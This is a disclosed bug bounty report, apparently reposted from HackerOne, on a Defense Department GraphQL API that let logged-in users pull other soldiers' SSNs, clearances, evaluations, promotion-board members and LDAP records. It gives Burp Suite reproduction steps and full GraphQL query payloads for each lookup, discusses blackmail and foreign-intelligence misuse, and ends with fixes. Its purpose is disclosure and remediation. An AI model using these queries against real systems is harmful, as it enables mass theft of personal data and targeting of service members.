Skip to content
Info disclosure Disclosed report Intermediate

ASBS viewing other soldiers PII/Board/Board Voters/ETC

An authenticated user could run GraphQL queries that returned sensitive information about other soldiers, including personal details, evaluations, board membership and LDAP records. This allowed an attacker to look up anyone by DoDID and gather data such as SSNs and clearance information.

badlifeguard Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 17 hours
  • Fixed in 34 days
  • Disclosed after 12 months

Description: An authenticated user, could run GraphQL queries that return sensitive information on other users.

Steps to reproduce it Please see below.

References

Using burp suite, an authenticated user is able to do a full introspection against the target. After the introspection, a user can use Burp Suite Repeater to create custom GraphQL Queries based on information they are trying to find. CWE-200, CWE-284, CWE-359

Impact

This would allow an attacker to capture data of soldiers by DoDID, to then look up other soldier data to gather board information, SSN, Clearance information, Branch information. If a user was able to grab their own information, they could make requests to find out who is included with their current board, review evaluations with a DODID, and look up who is voting on the board, or any board for that matter.

Additionally, this vulnerability partially impacts all components within the DoD. Army Personnel: Active, Reserve, National Guard, Civilians, Contractors Air Force: Active, Civilians, Contractors (unvalidated Reserve, National Guard) Navy: Reserve (unvalidated Active, National Guard, Civilians, Contractors) Marines: (unvalidated Active, Reserve, National Guard, Civilians, Contractors) Coast Guard: (unvalidated Active, Reserve, National Guard, Civilians, Contractors) Spaceforce: Active (unvalidated Civilians, Contractors) Dependents: Not impacted unless a valid LDAP entry.

If a legitimate bad actor wanted to, they could once again, create identities of people with SSNs, background check to find peoples location, but more importantly blackmail and intelligence targeting. Blackmail board members would be an idea- "Promote me or I release blackmail". Intelligence targeting-Foreign adversaries would be interested in this information to build leverage on a soldier to blackmail them to giving up sensitive information.

System Host(s)

██████████,████

Affected Product(s) and Version(s)

1.09.00.0

CVE Numbers

Steps to Reproduce

Using Burp Suite Login and Authenticate to https://█████████/

Once logged in, Burp suite > proxy > http history will show you the requests. Looking for host: ███. There will be a POST request to: ███████/████████/graphql. In that request body you can manipulate the request.

With the use of Outlook address book, a user could get anyones DoDID from the Global Address Book, just by adding a contact to their address book and in the contact information, under certificates, it has their DODID appended to their certificate information (Not the vulnerability).

I have not included any screenshots at this moment, more information can be requested. Let me how how I can assist in this finding.

Some of the requests: Any "# " are blocked out for reporting purposes. Look up user by DoDID: Only returns Army {"query":"query {\r\n userByDodId(dodId: "#########") {\r\n dodId\r\n fullName\r\n indivFirstName\r\n indivLastName\r\n indivMiddleName\r\n personGuid\r\n }\r\n}"}

Look up evaluations by DoDID: Only returns Army {"query":"query {\r\n evaluationsByDodId(dodId: "#########") {\r\n aerCrsNm\r\n apftDt \r\n apftRsltCd\r\n bodyFatStdCd\r\n box1\r\n box2\r\n box3\r\n box4\r\n classId\r\n classStandingNr\r\n classStudentQy\r\n cmtTx\r\n docVrsnNr\r\n dodIdNr\r\n dualRtrRoleCd\r\n dutyDescTx\r\n dutyStationNm\r\n evalId\r\n evalPdEndDt \r\n evalPdStDt \r\n evalRecModDtm \r\n evalRptGrpCd\r\n evalRptRsnCd\r\n evalRptRsnCdDesc\r\n evalRptTypCd\r\n evaluationGroupType\r\n gpa\r\n irCmtTx\r\n irDutyTitle\r\n irRankAb\r\n jpmeIndCd\r\n labelPercentage\r\n manualUpload\r\n milEdLvlCd\r\n mosDsgTx\r\n mpcCd\r\n oerRefCd\r\n physMeasHgtIn\r\n physMeasWgtLb\r\n rankAb\r\n ratedFirstNm\r\n ratedFullName\r\n ratedLastNm\r\n ratedMiddleNm\r\n ratedMonths\r\n ratedSuffix\r\n raterDutyTitleTx\r\n raterEvalRatedQy\r\n raterFirstNm\r\n raterFullName\r\n raterLabel\r\n raterLabelDesc\r\n raterLastNm\r\n raterMiddleNm\r\n raterOffRatedQy\r\n raterPerformanceComments\r\n raterPotentialComments\r\n raterRankAb\r\n raterRankRatedQy\r\n raterSuffix\r\n reasonDescTx\r\n rsDutyTitleTx\r\n rsTotalArmyCompCd\r\n seniorRaterDutyTitleTx\r\n seniorRaterEvalRatedQy\r\n seniorRaterFirstNm\r\n seniorRaterFullName\r\n seniorRaterLabel\r\n seniorRaterLabelDesc\r\n seniorRaterLastNm\r\n seniorRaterMiddleNm\r\n seniorRaterOffBasBrCd\r\n seniorRaterOffRatedQy\r\n seniorRaterPotentialComments\r\n seniorRaterRankAb\r\n seniorRaterRankRatedQy\r\n seniorRaterSuffix\r\n sharpStmtCd\r\n srDutyTitleTx\r\n srRankAb\r\n stuIdLocCd\r\n unitDsgTx\r\n }\r\n}"}

Look up candidates per board GUID: {"query":"query {\r\n candidatesForBoard(boardGuid: "#######-5881-4E16-9C6C-4BC53014E8CB") {\r\n basdDt \r\n birthDt\r\n boardCandidateGuid\r\n cmsndOffBasicBrCd\r\n cmsndOffBasicBrDesc\r\n cmsndOffControlBrCd\r\n cmsndOffDetailBrCd\r\n dodId\r\n dorDt\r\n enlMosCd\r\n enlPromMosId\r\n indivFirstName\r\n indivLastName\r\n indivMiddleName\r\n indivName\r\n indivSuffixName\r\n ipermsSyncDt\r\n milRankCd\r\n milRankDesc\r\n milSvcCompoCd\r\n milSvcCompoDesc\r\n mpcCd\r\n mpcDesc\r\n orgSrcCd\r\n primaryJobCode\r\n promConsidRecmdCd\r\n promotableStatus\r\n recCreateDt\r\n recCreateSource {\r\n dodId\r\n fullName\r\n indivFirstName\r\n indivLastName\r\n indivMiddleName\r\n personGuid\r\n }\r\n recDeleteInd\r\n recUpdateDt\r\n recUpdateSource {\r\n dodId\r\n fullName\r\n indivFirstName\r\n indivLastName\r\n indivMiddleName\r\n personGuid\r\n }\r\n secondaryJobCode\r\n warrOffMosCd\r\n }\r\n}"}

Look up board voters per board event GUID: {"query":"query {\r\n boardEventVoters(boardEventGuid: "#######-5BF0-46C2-8C32-EDD4C89758F8") {\r\n boardEventGuid\r\n boardEventVoterGuid\r\n boardTeamMemberGuid\r\n estTimeToFinish\r\n numCandidatesDistributed\r\n numCandidatesVoted\r\n numInquiries # Long scalar\r\n percentCandidatesVoted\r\n recCreateDt \r\n recCreateSource {\r\n dodId\r\n fullName\r\n indivFirstName\r\n indivLastName\r\n indivMiddleName\r\n personGuid\r\n }\r\n recDeleteInd\r\n recUpdateDt \r\n recUpdateSource {\r\n dodId\r\n fullName\r\n indivFirstName\r\n indivLastName\r\n indivMiddleName\r\n personGuid\r\n }\r\n voter {\r\n dodId\r\n fullName\r\n indivFirstName\r\n indivLastName\r\n indivMiddleName\r\n lastCheckedDt \r\n personGuid\r\n photo\r\n }\r\n }\r\n}"}

Look up LDAP person by DoDID: (Reference the impact of DoDIDs from above. Seems like anyone with an active directory account in the DOD) {"query":"query {\r\n findLdapPersonByDodId(dodId: "#########") {\r\n accountType\r\n babr\r\n babrDesc\r\n branchOfService\r\n cmfDesc\r\n cn\r\n dymose\r\n ediPi\r\n emailServiceClass\r\n enlistedPmos\r\n fascn\r\n givenName\r\n macom\r\n mail\r\n middleName\r\n occupationCode\r\n officerPaoc\r\n officerPaocDesc\r\n personCategory\r\n personCondType\r\n personNickname\r\n personaDisplayName\r\n personaTitle\r\n personaUid\r\n personaUserName\r\n ptc\r\n rank\r\n sn\r\n ssn\r\n status\r\n uic\r\n uid\r\n userPrincipalName\r\n }\r\n}"}

Suggested Mitigation/Remediation Actions

Disable introspection on GraphQL, this will make it harder for an attacker to gain information on how the API works and reduces the risk of unwanted information disclosure. Review the API's schema to make sure that it does not expose unintended fields to the public. Make sure that suggestions are disabled. This prevents attackers from being able to use Clairvoyance or similar tools to glean information about the underlying schema. If you cannot disable suggestions directly in Apollo. See this https://github.com/apollographql/apollo-server/issues/3919#issuecomment-836503305 thread for a workaround.

Reference links: https://portswigger.net/web-security/graphql#preventing-graphql-attacks https://www.apollographql.com/blog/securing-your-graphql-api-from-malicious-queries

The original report as published on HackerOne, by badlifeguard. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could capture soldier data by DoDID, including SSN, clearance and branch information, and could identify board members and voters, enabling blackmail or intelligence targeting; the report notes partial impact across DoD components.

What the attacker needed

An authenticated account; knowledge of a DoDID

The fix

Introspection and suggestions should be disabled, and the API schema should be reviewed to ensure it does not expose unintended fields.

How it was found

  1. Log in and authenticate to the target application.
  2. In Burp Suite, review the HTTP history to find the GraphQL POST request.
  3. Manipulate the GraphQL request body to run custom queries.
  4. Use introspection to learn the schema and craft queries for other users' data.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A GraphQL API let logged-in users request other people's personal and military records by supplying an identifier.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by badlifeguard

View all

3 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.